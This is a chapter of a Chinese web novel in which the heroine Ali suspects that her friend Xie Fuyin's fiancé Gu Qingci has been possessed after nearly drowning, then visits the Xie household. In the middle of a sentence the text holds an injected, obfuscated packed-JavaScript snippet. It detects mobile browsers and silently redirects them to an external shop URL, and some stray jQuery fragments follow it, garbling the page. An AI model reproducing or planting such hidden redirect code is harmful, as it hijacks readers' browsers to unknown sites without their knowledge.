自打从定国公府归来,阿璃整日窝居在偏院之中。
看似慵懒度日,实则反复回想当日所见种种,顾青辞当众拒婚的坦荡果决,还有淳王妃那套隐晦奇特的手势,一遍遍在心头盘旋。
可任凭阿璃如何思索推敲,始终寻不到半点头绪,
夜深人静,阿璃卧于床榻,望着床帐顶端,倏然心头一动,倘若她曾经见过这个手势,那会是在哪呢?
答案只有在龙族。
可在龙族的过往记忆仿佛被蒙上一层厚重的浓雾,任凭阿璃如何回想都看不真切。
阿璃翻了个身,将脸埋进柔软的枕间,既然想不出,那便索性按下纷乱思绪,不再深究。
转眼又过几日,暮色浸染庭院。
晴雪挑帘快步走入,手中捏着一封素色书信:“姑娘,谢府来信了。”
阿璃打开信笺。
阿璃妹妹安:
多日未见,心中甚是惦念。
前段日子,英国公府正式登门提亲,家中长辈一时错愕,过后皆是满心欢喜,连日来都在为我筹备婚事,恍惚之间竟如一场幻梦。
婚期已定在一月之后,顾郎一心盼着早日定下名分,我心中却是几番辗转不定。
本该是得偿所愿、满心欢喜的婚事,可越临近佳期,我越是寝食难安。顾郎偶尔看向我的眼神,总让我生出几分生疏,他仿佛在透过我看另一人。
可转念一想,他平日里待我万般体贴,为我折花簪鬓,吟诗作画,这般真心相待,我又怎能揣测疑心于他。
后日备下薄茶点心,诚心邀妹妹过府小聚,不知妹妹可否赏光?
诸多心事,只想当面说与你听。
落款人:扶音
阿璃一字一句读完,纸上字迹清秀,处处透着少女藏不住的欣喜,又隐隐掺着几分难言忐忑。
她放下信,抬眼望向窗外沉沉的暮色,院中梅树枝头已然绽开第一缕素白寒花。
谢扶音终究要如愿嫁给心心念念的顾青辞了。
定国公府花厅内的一幕依旧历历在目。
顾青辞坦然直言心有所属,竭力维护谢扶音,那般赤诚坦荡,确实是值得托付一生的良人。
晴雪好奇地凑上前来:“姑娘,谢姑娘信里都说了些什么?”
“她的婚事定下了,婚配英国公府世子顾青辞。”
晴雪顿时双眸发亮:“就是姑娘上回说的,那位为了谢姑娘不肯娶裴家姑娘的世子爷?”
“嗯。”
“那可真是天造地设的好姻缘,谢姑娘性子温柔良善,就该得这般一心一意的良人相守。”
阿璃含笑应声,脑海里却回想着信中那句让人心绪难安的话。
顾郎偶尔看向我的眼神,总让我生出几分生疏,他仿佛在透过我看另一人。
“晴雪。”
“姑娘?”
“先前你说过,顾青辞前段时日不慎落了水,是吗?”
晴雪轻轻颔首,低声回话:“奴婢也是先前听姑娘提起过顾世子,才多留心了几分。前阵子他意外落水,整整昏沉三日,方才悠悠转醒。”
“顾世子从前在京中是出了名的温雅君子,待人谦和,便是对待府里的下人,也素来体恤宽厚。可自打落水之后,性情竟是翻天覆地大变。形事果决凌厉,锋芒尽显,就连国公夫人当面规劝数落,他也据理直言,分毫不肯退让。”
阿璃指尖轻抵下颌,落水昏迷三日,苏醒后性情剧变,种种异象,无一不贴合夺舍附身之兆。
倘若如今栖身在顾青辞躯壳之内的,早已不是原本温润君子,那所有反常,便尽数有了缘由。
此人执意迎娶谢扶音,绝非一见钟情、心生爱慕。扶音感知到的疏离与生分,大抵便是寄宿在这具皮囊里的异类,不经意间泄露出的破绽。
“姑娘?”晴雪见她久久出神,轻声唤了一句。
阿璃敛去深沉思虑,抬手将谢扶音的来信折好收进锦盒之中。
“后天赴谢府赴约,你提前备好登门礼数。”
“是。”晴雪应声,又笑着问道,“厨房炖好滋补的鸡汤送来了,姑娘现下要用吗?”
阿璃顷刻抛开心头重重疑云:“端来。”
天大诡谲谜题,也抵不过一碗热汤暖胃,诸事暂且搁置,先填饱肚子再说。
晴雪笑着退出外间传膳。
阿璃独坐窗前,枝头绽开一朵寒梅,于微凉晚风里孑然伫立。
喝完热汤暖身,再静下心,细细推敲顾青辞夺舍一事的内情便好。
-
两日之后,阿璃带着晴雪乘车前往谢府。
谢家如今由谢扶音的二叔,礼部谢侍郎主事。
谢家宅院算不上恢弘华贵,却极其雅致清幽,一草一木都浸着书香文气。
门房望见侯府的马车,早早便迎了上来,毕恭毕敬地引路入内。
刚踏入二门,正厅内便传来一名妇人利落干脆的说话声:“婚期只剩一月,嫁衣绣制的进度如何了?”
谢扶音嗓音温软恬淡:“还差些许,不必着急。”
“怎能不急?英国公府门第显赫,嫁衣万万不能潦草敷衍,回头我让你二叔多拨些银两,请京中顶尖的绣娘加急赶制,万万不能让旁人落了闲话。”
阿璃脚步稍停,晴雪凑在耳边低声提点:“说话的这位是扶音姑娘的婶婶邹氏。”
阿璃了然,继续往前行。
不多时,那日跟在谢扶音身边的丫鬟灵犀快步迎来,瞧见阿璃时脸上当即漾开欣喜:
“钟姑娘,您总算来了。我们姑娘这些时日夜夜辗转难眠,还总反复做噩梦。府里长辈又天天催着置办婚嫁物件,她心口堵着一肚子烦闷,任谁问都不肯多说半句。”
话音未落,正厅里邹氏略显高亢的话音又悠悠飘了出来。
灵犀略显局促地抿了抿唇,小声解释道:“太太只是性子直来直去,嘴上说话厉害些,内里是真心疼惜我们姑娘的。”
阿璃微微颔首,抬步随灵犀走入正厅。
主位端坐一位身着酱色织棉襦裙的妇人,手上捏着一卷备嫁清单,正逐条叮嘱婚嫁一应琐事。
谢扶音倚坐侧首,垂着眼睫安静聆听。
邹氏余光瞥见阿璃,当即敛了方才催嫁的急躁,满面热忱,起身相迎:“这位便是永安侯府的钟姑娘罢,果真容貌清丽,气度卓然,快快落座。”
阿璃落落大方见礼,抬眼一瞬,目光径直落向谢扶音。
谢扶音眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633890|205817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼弯起,唇角漾开温柔的笑意:“阿璃妹妹,你来了。”
阿璃上前握住她微凉的手,轻声唤道:“扶音姐姐。”
邹氏看着二人亲昵相依的模样,笑意愈发和善。
简单寒暄几句过后,谢扶音柔声开口:“婶婶不必费心张罗,我带阿璃妹妹回我院中小坐叙话便好。”
邹氏欣然应允:“就你们年轻人一块儿说话也自在些。”
又拉着阿璃道:“扶音这孩子,自幼双亲早逝,身边又素来没有交心的知己,如今能结识你这般贴心的姐妹,我与她二叔也安心不少。”
说罢拍了拍脑门,转头吩咐仆从,将备好的蜜饯与茶点尽数送往扶音的院落。
几人穿过雕花月洞门,便抵达谢扶音的居所。
小院雅致清净,屋内屋外打理得一尘不染,墙角几株三角梅开得热烈明艳,廊下竹笼悬着两只画眉,见生人走近,叽叽喳喳鸣声悦耳,添了几分烟火生机。
谢扶音走到廊边,往鸟笼里添了些鸟食。
“这两只鸟儿是你养的?”阿璃立在廊下,开口问道。
谢扶音指尖捏着鸟食,声线温软:“是婶婶送来的,怕我平日里独居冷清,让鸟儿陪着我解闷。”
阿璃上前几步,陪着她一同投喂笼中飞鸟。
撒尽最后一把鸟食,谢扶音转身,白皙面颊掠过一抹腼腆:“方才让你见笑了,婶婶性子热忱,又素来心直口快。”
“那你二叔呢?”阿璃问。
提起叔父,谢扶音唇角漾起笑意:“二叔不善言辞,每回见我,也只会笨拙地问一句手头可缺银钱,问完便局促无言,不知再讲什么。”
寥寥家常言语,尽寄细碎温情,二人眸光相触,皆是会心一笑。
谢扶音回身走入屋内,将瓷盘里金黄的凤尾酥推至阿璃面前:“那日在观音寺,我瞧你偏爱甜食。”
阿璃心头一暖,扶音满心皆是烦忧,竟还记着自己的喜好。
她拿起一块尝了尝,清甜酥软,满口留香:“味道极好。”
得了阿璃的夸赞,谢扶音眉眼含笑,也拈起一块凤尾酥小口慢尝起来。
暖融融的阳光透过雕花窗棂倾泻而入,铺满一室光景,周遭安逸又平和。
半晌过后,扶音拿起丝帕轻轻拭了拭唇角,指尖攥着帕角反复揉搓,心头千头万绪缠作一团,纷乱难理。
阿璃只是安然端坐对面,始终没有开口催促半句,任由她慢慢整理心绪。
良久,她才抬眼望向阿璃,嗓音裹着浓重的茫然与惶惑:“阿璃妹妹,你说我是不是太过贪心,太过不知足了?”
“你慢慢讲。”
谢扶音抿了抿唇:“自打他落水醒过来,第一件事便是登门求亲,更直言非我不娶。”
唇角先浮起一抹清甜羞涩,可转瞬又漫上一层淡淡的苦涩:
“旁人都因我眉心这道青莲印记指指点点,说我命格不祥,克亲克缘,唯独他说这印记生得别致好看,待我真心实意,半点嫌弃也无。”
“起初英国公夫人万般不愿,嫌我配不上世子。他执意不肯退让,甚至跪在宗族祠堂立下誓言,若是不能娶我,便剃度出家。想来国公夫人也是万般无奈,方才松口应下这门亲事。”